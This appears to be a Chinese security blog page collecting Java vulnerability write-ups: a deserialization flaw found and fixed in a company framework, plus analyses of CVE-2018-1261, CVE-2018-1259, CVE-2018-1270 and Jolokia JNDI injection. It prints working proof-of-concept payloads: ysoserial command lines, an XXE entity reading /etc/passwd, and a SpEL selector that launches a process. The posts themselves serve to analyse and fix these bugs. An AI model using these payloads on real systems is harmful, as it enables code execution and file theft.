分类 Java安全 下的文章

记一次Java反序列化漏洞的发现和修复

0x00 背景简介

本文是自己对一次反序列化漏洞的发现和修复过程,如有错误请斧正,大神请轻喷。

目标应用系统是典型的CS模式。

客户端是需要安装的windows桌面程序,但是它是大部分内容都是基于Java开发(安装目录有很多Jar包)。

服务端是基于Jboss开发。

客户端和服务端之间的通信流量是序列化了的数据流量。客户端接收和解析数据流量的模式和服务端一样,也是通过http服务,它在本地起了80、81端口,用于接收反序列化对象。

0x01 Java序列化流量特征

特征一

参考特征,反序列化数据看起来就是这个样子: sr 、类名、空白字符

序列化数据特征1.png

特征二

固有特征,是Java的序列化数据就一定是这样,如果是base64编码的,就是以rO0A开头的。

序列化数据特征2.png

特征三

参考特征,有些content-type就说明了它是是序列化数据。

序列化数据特征3.png

0x02 检测工具

当确定是序列化数据后,我使用了2个会主动进行反序列化漏洞扫描的Burp Suite插件:

当时忘记截图了,这是后续在测试环境的截图:

Java_Deserialization_Scanner1.png

Freddy的流量识别截图:

Freddy.png

0x03 复现方法(攻击服务器端)

使用ysoserial生成一个Payload,这里以Jdk7u21为例,由于是内部系统,我知道服务器上JDK的版本。

java -jar ysoserial-master.jar Jdk7u21 "ping jdk.xxx.ceye.io" > Jdk7u21

将生成的Payload通过Burp suite向服务端进行请求,命令执行成功。

server.png

0x04 攻击客户端

晚上回家想了想,返回包也是序列化格式的,是不是可以试试攻击客户端呢?第二天来一试,还真的可以。

对客户端做了一个简单的分析,发现客户端在本地起了80和81端口,也是通过http 服务来接收序列化对象的,反序列化过程和服务端如出一辙。

java -jar ysoserial-master.jar CommonsCollections3 "calc.exe" >CC3-desktop

client.png

这里自己想象了一种攻击场景:当攻击者控制了服务器之后,可以干掉这个服务,自己开启一个恶意的服务端,当反序列化请求过来时,都返回一个恶意的响应包,比如反弹shell之类的,凡是使用了该客户端的用户都可能被攻击。危害还是不容小视的。

0x05 防护思路

到了这里就开始考虑修复了,我给开发提供了2种修复思路。

升级

升级服务端所依赖的可能被利用的jar包,当然还包括JDK。不错所料,开发一听就否了。一来升级需要经过各种功能性测试,耗时较长,二来是JDK的升级可能造成稳定性问题(之前一个AMF的反序列化问题就是如此,升了2个月了还没搞定)。

过滤

另一个思路就是过滤了,需要继承Java.io.ObjectInputStream实现一个子类,在子类中重写resolveClass方法,以实现在其中通过判断类名来过滤危险类。然后在JavaSerializer类中使用这个子类来读取序列化数据,从而修复漏洞。

反序列化防御.png

0x06 失败的修复

我将以上的第二种修复思路给到了开发,并提醒参考SerialKiller项目。过了一段时间,开发告诉我修复了,然而我的验证显示漏洞依然存在。

只好硬着头皮去开发电脑上看代码,后来发现开发将过滤方法用在了下图的方法之后,而且是在判断获取到的对象是不是HashMap实例之后(开发不愿意给我截图了...)。到这里我终于发现了点不对劲,在判断对象类型了,岂不是说明已经反序列化完成了?

通过对这个getRequestData()函数的追踪,确定反序列化过程是在一个底层的Jar包中完成的。

getrequest.jpg

0x07 对底层Jar包的分析

然后我拿到这个Jar进行了分析,它是公司自己开发的框架。最后艰难地理出了其中的调用逻辑:该框架基于struts2开发,从下图的调动逻辑可以看出,所有的请求到达服务端后,都会首先经过DataInterceptor这个拦截器,这个拦截器执行的动作就是反序列化数据然后给到Action。上面的getRequestData()方法,已经是在这个流程之后了,属于Action中的逻辑。故而开发的修复方式无效。

flowofcall.png

DataInterceptor类的实现如下:

public class DataInterceptor
  extends BaseInterceptor
{
  private static final long serialVersionUID = 1L;

  public String intercept(ActionInvocation invocation)
    throws Exception
  {
    HttpServletRequest request = (HttpServletRequest)invocation
      .getInvocationContext().get("com.opensymphony.xwork2.dispatcher.HttpServletRequest");
    Object action = invocation.getAction();
    if ((action instanceof IDataAction))
    {
      IDataAction richAction = (IDataAction)action;
      Serializable model = Toolkit.getSerializer().deserialize(
        request.getInputStream());//这里执行了反序列化操作
      richAction.setRequestData(model);//将对象传递给了Action,getRequestData()方法才能获取到
    }
    else if ((action instanceof IDataBundleAction))
    {
      IDataBundleAction richAction = (IDataBundleAction)action;
      Serializable model = Toolkit.getSerializer().deserialize(
        request.getInputStream());
      richAction.setRequestDataBundle((DataBundle)model);
    }
    return invocation.invoke();
  }
}

JavaSerializer的实现如下:

import java.io.BufferedInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class JavaSerializer
  extends AbstractSerializer
{
  public Serializable deserialize(InputStream in)
    throws IOException
  {
    ObjectInputStream oo = new ObjectInputStream(new BufferedInputStream(in));
    try
    {
      return (Serializable)oo.readObject();
    }
    catch (ClassNotFoundException e)
    {
      throw new IOException("序列化类文件找不到:" + e.getMessage());
    }
    finally
    {
      oo.close();
    }
  }

到这里就清楚了,真正有漏洞的代码就在这里。

0x08 成功修复

要修复这个漏洞,就需要将上面的第二种过滤修复方法用到这个类里,具体的实现方法和SerialKiller一样。

需要继承Java.io.ObjectInputStream实现一个子类(SerialKiller),在子类中重写resolveClass方法,以实现在其中通过判断类名来过滤危险类。然后在JavaSerializer类中使用这个子类来读取序列化数据,从而修复漏洞。

通过如上方法修复了该漏洞,验证也是成功修复。修复后的JavaSerializer类:

import com.xxx.xxx.xxx.core.security.SerialKiller;
import java.io.BufferedInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class JavaSerializer
  extends AbstractSerializer
{
  public Serializable deserialize(InputStream in)
    throws IOException
  {
    ObjectInputStream ois = new SerialKiller(new BufferedInputStream(in));//SerialKiller是重写了resolveClass方法的子类。
    try
    {
      return (Serializable)ois.readObject();
    }
    catch (ClassNotFoundException e)
    {
      throw new IOException("序列化类文件找不到:" + e.getMessage());
    }
    finally
    {
      ois.close();
    }
  }

0x09 意外之喜 - 另一处XMLDecoder反序列化漏洞

然而,对Java包的分析还发现了另外一处反序列化漏洞。问题出在对XML的反序列化过程中,和weblogic的XMLDecoder RCE如出一辙。

漏洞代码如下:

import java.beans.XMLDecoder;
import java.io.IOException;
import java.io.InputStream;
import java.io.Serializable;

public class XmlSerializer
  extends AbstractSerializer
{
  public Serializable deserialize(InputStream in)
    throws IOException
  {
    XMLDecoder xd = new XMLDecoder(in);//和weblogic的XMLDecoder RCE如出一辙
    try
    {
      return (Serializable)xd.readObject();
    }
    finally
    {
      xd.close();
    }
  }

它的修复方式也是参考了weblogic的,需要实现一个validate 函数,在执行XML解码(XMLDecoder)前,对InputStream对象进行检查过滤。

private void validate(InputStream is){
      WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
      try {
         SAXParser parser = factory.newSAXParser();

         parser.parse(is, new DefaultHandler() {
            private int overallarraylength = 0;
            public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
               if(qName.equalsIgnoreCase("object")) {
                  throw new IllegalStateException("Invalid element qName:object");
               } else if(qName.equalsIgnoreCase("new")) {
                  throw new IllegalStateException("Invalid element qName:new");
               } else if(qName.equalsIgnoreCase("method")) {
                  throw new IllegalStateException("Invalid element qName:method");
               } else {
                  if(qName.equalsIgnoreCase("void")) {
                     for(int attClass = 0; attClass < attributes.getLength(); ++attClass) {
                        if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) {
                           throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass));
                        }
                     }
                  }

                  if(qName.equalsIgnoreCase("array")) {
                     String var9 = attributes.getValue("class");
                     if(var9 != null && !var9.equalsIgnoreCase("byte")) {
                        throw new IllegalStateException("The value of class attribute is not valid for array element.");
                     }
                  }
               }
             }
         });

         } catch (ParserConfigurationException var5) {
            throw new IllegalStateException("Parser Exception", var5);
         } catch (SAXException var6) {
            throw new IllegalStateException("Parser Exception", var6);
         } catch (IOException var7) {
            throw new IllegalStateException("Parser Exception", var7);
         }
}

0x10 总结

零零散散学习反序列化漏洞已经很长时间了,这是第一次在公司自研框架中发现反序列化漏洞,所以总结记录一下,大神请轻喷!也算是对该漏洞知识的一个梳理。学习还是要实践过、做过了才算是学到了,否则永远不是自己的!

0x11 参考

过滤方法的一个开源库,但是这个库需要依赖JDK1.8: https://github.com/ikkisoft/SerialKiller

反序列化漏洞的入口和限制条件+反序列化过滤防御思路:https://www.ibm.com/developerworks/library/se-lookahead/

廖师傅的Weblogic XMLDecoder RCE分析: http://xxlegend.com/2017/12/23/Weblogic%20XMLDecoder%20RCE%E5%88%86%E6%9E%90/

CVE-2018-1261: Unsafe Unzip with spring-integration-zip分析复现

开篇

日前,Spring的一个zip组件被爆了一个严重的漏洞,漏洞编号和标题为CVE-2018-1261 Unsafe Unzip with spring-integration-zip。根据描述在spring-integration-zip的1.0.1版本之前在对bzip2, tar, xz, war, cpio, 7z类型的压缩文件进行在解压的时候,如果压缩文件是恶意构造的不可信文件,可导致向任意目录写入文件。现在我们来复现和分析一下该漏洞的发生细节。

复现漏洞

为了复现漏洞,我们可以到Spring的GitHub下载存在漏洞版本的源码文件,地址:https://github.com/spring-projects/spring-integration-extensions/releases下载1.0.1之前的版本,然后在本地解压。

然后到spring-integration-zip目录下,使用命令:

./gradlew idea

生成idea的项目文件,执行完成后,即可用IDEA打开spring-integration-zip.ipr文件如下:

201805151526390164908264.png

根据描述,提到了

This specifically applies to the unzip transformer.

我们可以通过修改src/test/java/org.springframework.integration.zip/transformer文件下面的测试文件进行漏洞的复现和分析,

这个目录下面有这些文件:

201805151526390660203311.png

这里自带了2个测试类,分别是测试压缩和解压相关的。从漏洞描述里,我们大概可以猜到是在解压的压缩包文件里有文件名为:../../../../hack.txt这样的文件,在解压释放时将文件名直接和文件路径进行拼接,然后创建文件,因 ../../ 跳跃到了其他目录,文件被释放到了预期意外的目录下面从而导致了漏洞发生。

于是我们需要制作一个这样的“特殊”文件,这里可以通过ZipTransformerTests文件里的函数,加以修改来实现,修改测试代码如下:

201805151526391519652813.png

我们通过unzip命令看看压缩包文件的结构如下图:

201805151526391664308552.png

做好了压缩包后,下面是参考给出的测试方法,修改的解压代码截图如下:

201805151526393096305118.png

现在我们可以使用Junit运行这个测试函数,观察tmp目录,会生成txt文件,

201805151526393364145629.png

我们来调试看看,下断点跟进处理doZipTransform的实现代码里,如下图:

201805151526395851195117.png

这里的payload是MessageBuilder类的withPayload函数的参数,是一个输入流,读取加载的是我们给的zip文件

201805151526396199825873.png

下面是实现的是使用ZipUtil类遍历输入流里每一个Entry利用回调函数ZipEntryCallback处理它,

重点看处理的逻辑:

201805151526396871306660.png

继续跟进:

201805151526396973476088.png

文件成功释放到指定目录,如下截图:

201805151526397166529379.png

到此漏洞已经被成功利用,产生漏洞的原因是对压缩文件里的文件名没有任何过滤,直接进行文件路径+文件名的拼接,创建了新文件。

我们看看官方给的修复是怎样的,补丁地址,部分截图如下:

201805151526397427442105.png

首先删掉了直接拼接的代码,加入了一个checkPath函数,该函数代码如下:

201805151526397607951610.png

我们更新一下这块修复代码然后再次进行测试如下图:

201805151526398014190310.png

这里已经测试失败了,因为checkPath函数对destinationFile进行了判断,即判断了要写入的文件绝对路径值destinationFile.getCanonicalPath()函数是否包含了指定的释放目录,在这个下面

201805151526398279776249.png

这里很明显不满足,抛出异常程序终止了。

201805151526398450511120.png

想法很皮,实践测试中,发现似乎也不会出现想的那样,绕过了进行文件写入操作,报错如下:

201805151526399941396853.png

测试中发现更新了最新的补丁的现在(CVE-2018-1263补丁后),虽然不能任意目录跳了,但是可以在设置的workDirectory下面跳,最上层跳不出这个限制。

比如,制作压缩包:

201805161526401438177027.png

解压代码:

201805161526401424207075.png

解压后:

201805161526401517763498.png

这里举例说这个情况,是告诉大家配置不当会存在一定风险的,在配置workDirectory时尽量最小化配置,别配置成/var/ home/这一类的路径了,因为这些下面有一些地方被任意写入了文件是很可怕的。需要注意!!!

参考来源

CVE-2018-1259: XXE with Spring Data’s XMLBeam integration分析复现

前提

最近Spring几连发的漏洞里有一个漏洞是CVE-2018-1259,地址是https://pivotal.io/security/cve-2018-1259,根据我对描述的理解,这个锅不应该给Spring接啊,描述有一段话:

Spring Data Commons, versions prior to 1.13 to 1.13.11 and 2.0 to 2.0.6 used in combination with XMLBeam 1.4.14 or earlier versions contain a property binder vulnerability caused by improper restriction of XML external entity references as underlying library XMLBeam does not restrict external reference expansion.

描述中说Spring 的公用数据组件的1.13 到 1.13.11版本和2.0到2.0.6版本使用了XMLBeam 1.4.14 或更早的版本,它存在一个外部实体应用即XXE漏洞。问题出在XMLBeam身上,修复方式就是升级XMLBeam到1.4.15以上,这个锅Spring不应该背吧。

复现XMLBeam的XXE漏洞和分析

这个CVE应该给XMLBeam的,但是它的下载地址是https://xmlbeam.org/download.html,我们在GitHub找了一个使用XMLBeam的demo来进行漏洞复现和分析。

Demo地址:

https://github.com/olivergierke/spring-examples/tree/master/scratchpad/src

下载然后导入IDEA:

201805131526218553238503.png

这个Demo代码有点小情况需要处理才能很好的跑起来,导入IDEA后,用Maven开始构建。在site使用插件运行时,它使用的是Jetty组件运行,这个情况就是怎么访问uri地址/customers 都是404,一直很纳闷。在折腾中,我发现用junit测试是OK的,能复现和调试漏洞。后来同事提到用Spring-boot运行就很OK。于是这里记录一下怎么改用Spring-Boot运行(现学现用)。

201805131526218961914670.png

在上面的那个位置,添加SpringBoot启动代码,现在我们就可以右键直接run了。

201805131526219085500949.png

现在我们可以简单阅读demo代码,理解如何测试,找到XmlBeamExample.java文件如下:

201805131526219173589965.png

看看pom.xml确认一下XMLBeam的版本,用的是老版本1.4.6,目前最新的版本是1.4.14.

201805131526219445699743.png

环境准备好了,我们开始下断点,和构造测试的POST请求,构造POC如下:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<user>
    <firstname>&xxe;</firstname>
    <lastname></lastname>
</user>

根据代码,我们需要构造POST请求,构造一组参数,XMLBeam会根据参数map对应进行自动解析绑定。

先复现一下效果:

201805131526220995310268.png

这个漏洞的根本原因是由于XMLBeam的用法不当,我们在XMLBeamd 库里找到创建XML解析实体对象的地方,如下截图:

201805151526355342895156.png

上面的是1.4.6版本,从官方下载最新的1.4.14版本的jar包源码看看,同样存在问题的,如下截图:

201805151526355503355930.png

官方目前没有挂出更新后的版本,在maven仓库里我们可以搜到,已经有里修复版本1.4.15,地址:http://mvnrepository.com/artifact/org.xmlbeam/xmlprojector 下载最新的版本后,再查看此处配置如下:

201805151526355686183890.png

一些配置项如下:

201805151526355798781702.png

从更新的代码来看,已经使用了开发语言提供的禁用外部实体的方法修复了这个XXE漏洞。

Spring官方的修复方式也是更新了这个库到1.4.15版本,

https://jira.spring.io/browse/DATACMNS-1311?jql=project%20%3D%20DATACMNS%20AND%20fixVersion%20%3D%20%221.13.12%20(Ingalls%20SR12)%22

收获

  1. 关于如何安全的使用和解析XML文本,可以看看下面给的参考文
  2. 知道了Spring Boot的这种启动方式,Jetty的坑,更加发现了Maven+IDEA配合的强大

参考

CVE-2018-1270 Remote Code Execution with spring-messaging

影响版本

  • Spring Framework 5.0 to 5.0.4
  • Spring Framework 4.3 to 4.3.14

漏洞分析

Spring Framework通过spring-messageing模块和STOMP代理对象通讯。根据漏洞描述可以知漏洞出现在spring-message模块 或者是 stomp-websockets模板块,下面逐一分析:

spring-websockets 模块

存在的敏感方法

@Nullable

public String[] decode(String content) throws IOException {
return (String[])this.objectMapper.readValue(content, String[].class);
}

反序列化使用的jackson组件,但是没有开启autotype功能,并且代码指定了反序列化类型为String[].class,利用jndi注入方式会导致异常,没有成功。

625fbd72201477f4d64f9b4a2e79a5a1.png

分析spring-message模块

DefaultSubscriptionRegistry类中方法addSubscriptionInternal存在expression = this.expressionParser.parseExpression(selector)(危险的SPEL表达式语句)。
根据上下文可以初步判定selector参数可以控制,但是了解SPEL注入的同学应该知道,要想达到代码执行,需要调用expression.getValue()或者expression.setValue()方法。继续寻找会发现该文件的154-164行调用了expression对象的getValue方法。

复现下漏洞的触发流程:

点击Connet按钮抓包

52b29eca6c5ea5429201c48c8ad96bee.png

修改请求报文,插入如下字段

\nselector:new java.lang.ProcessBuilder("/Applications/Calculator.app/Contents/MacOS/Calculator").start()

43ec3a11b117e9b86582d16d1922fc13.png

回到聊天窗口,发送任意消息即可触发恶意代码

c25b1fe4957ce9fcd465d867e1d010df.png

9d57f7cb1ad30ab1e747922601163798.png

586b85fa87889b1950535a76e5c25553.png

修复方案

  • 5.0.x users should upgrade to 5.0.5
  • 4.3.x users should upgrade to 4.3.15

漏洞二:xss vul in gs-messaging-stomp-websocket demo

2f1a64a5f7f2e688198fc8ffe5d805eb.png

Patch:https://github.com/spring-guides/gs-messaging-stomp-websocket/commit/6d68143e04ea1482b724c3f620688ec428089bc0

From:https://pivotal.io/security/cve-2018-1270

Jolokia JNDI Injection&XXE Vulnerability分析复现

0x01 JNDI Injection CVE-2018-1000130

1.1 什么是JNDI注入

参考:https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf

1.2 漏洞复现

Jolokia的JNDI注入问题出现在jsr160模块,根据官方文档可以很容找到注入点

6.6. Proxy requests For proxy requests, POST must be used as HTTP method so that the given JSON request can contain an extra section for
the target which should be finally reached via this proxy request. A
typical proxy request looks like

{
    "type" : "read",
    "mbean" : "java.lang:type=Memory",
    "attribute" : "HeapMemoryUsage",
    "target" : {
         "url" : "service:jmx:rmi:///jndi/rmi://targethost:9999/jmxrmi",
         "user" : "jolokia",
         "password" : "s!cr!t"
    }
  }

根据补丁信息很容易确定漏洞位置:

url within the target section is a JSR-160 service URL for the target
server reachable from within the proxy agent. user and password are
optional credentials used for the JSR-160 communication.

1.png

1.3 漏洞利用

2.png

3.png

4.png

1.4 影响

5.png

1.5 漏洞Bypass

补丁信息,可以看到增加ldap的黑名单:service:jmx:rmi:///jndi/ldap:.*

https://github.com/rhuss/jolokia/commit/2f180cd0774b66d6605b85c54b0eb3974e16f034

6.png

但是JDNI注入支持的协议有LDAP、RMI、Cobra三种,所以补丁后还是存在问题的。

7.png

8.png

0x02 XXE Vulnerability In PolicyDescriptor Class

2.1 漏洞复现

9.png

10.png

11.png

12.png

2.2 漏洞利用

由于对Jolokia不熟悉,目前还没有找到用户可控输入点。

0x03 参考